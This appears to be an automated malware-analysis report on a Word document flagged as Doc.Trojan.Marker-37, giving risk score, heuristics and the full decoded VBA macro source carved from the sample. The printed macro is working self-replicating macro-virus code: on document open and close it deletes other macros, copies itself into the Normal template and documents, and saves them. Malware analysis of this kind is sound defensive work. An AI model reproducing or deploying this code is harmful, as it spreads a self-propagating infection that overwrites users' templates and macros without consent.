MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file is identified as malicious by ClamAV and contains VBA macros. The Document_Open macro is present, and the embedded VBA script attempts to delete other macros from the active document and the Normal template. This behavior suggests an anti-analysis or self-propagation mechanism rather than direct payload delivery.
Heuristics 3
-
ClamAV: Doc.Trojan.Marker-37 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Marker-37
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3661 bytes |
SHA-256: 0e746db5f04228efcf441708d721633c6c73150e65b5e9a411d674d792691974 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Dim NInfectedByMe As Boolean
On Error Resume Next
NInfectedByMe = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Find("Yadi Thea Atuh", 1, 1, 100, 300)
If Not (NInfectedByMe) Then
AutoCopyToNormal
End If
KillEmAll
End Sub
Private Sub KillEmAll()
Dim ADInfectedByMe As Boolean
Dim i, j As Integer
ADInfectedByMe = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Find("Yadi Thea Atuh", 1, 1, 100, 300)
j = 1
For Each Obj In NormalTemplate.VBProject.VBComponents
i = NormalTemplate.VBProject.VBComponents.Item(j).CodeModule.CountOfLines
If Obj.Name <> "ThisDocument" Then
Application.StatusBar = "Deleting " + Obj.Name + _
" Macro in Your Document..."
NormalTemplate.VBProject.VBComponents.Item(j).CodeModule.DeleteLines 1, i
End If
j = j + 1
Application.StatusBar = "MacroVirus Destroyer V. 1.00"
Next Obj
j = 1
For Each Obj In ActiveDocument.VBProject.VBComponents
If Obj.Name <> "ThisDocument" Then
i = ActiveDocument.VBProject.VBComponents.Item(j).CodeModule.CountOfLines
Application.StatusBar = "Hasta La Vista " + Obj.Name + _
" See yaa..."
ActiveDocument.VBProject.VBComponents.Item(j).CodeModule.DeleteLines 1, i
End If
j = j + 1
Next Obj
If Not (ADInfectedByMe) Then
i = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, i
AutoCopyToDoc
End If
End Sub
Private Sub Document_Open()
On Error Resume Next
'Created by Yadi The Giant
'Yadi Thea Atuh
'MacroVirus Destroyer V. 1.01
'"<- this is a marker! Jonhehehe@ho####.com"
KillEmAll
End Sub
Private Sub AutoCopyToNormal()
On Error Resume Next
Dim InfectedByMe As Boolean, Baris, B, i As Integer, s As Object
InfectedByMe = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Find("Yadi Thea Atuh", 1, 1, 100, 300)
If Not (InfectedByMe) Then
Baris = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
Set s = ActiveDocument.VBProject.VBComponents.Item(1)
Application.StatusBar = "Copying Antivirus Macro to Normal Template"
B = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, B
NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromString s.CodeModule.Lines(1, Baris)
NormalTemplate.Save
End If
End Sub
Private Sub AutoCopyToDoc()
Dim InfectedByMe As Boolean, Baris, B As Integer, s As Object
InfectedByMe = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Find("Yadi Thea Atuh", 1, 1, 100, 300)
If Not (InfectedByMe) Then
Baris = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
Set s = NormalTemplate.VBProject.VBComponents.Item(1)
Application.StatusBar = "Copying Antivirus Macro to Document"
B = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, B
ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString s.CodeModule.Lines(1, Baris)
ActiveDocument.Save
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.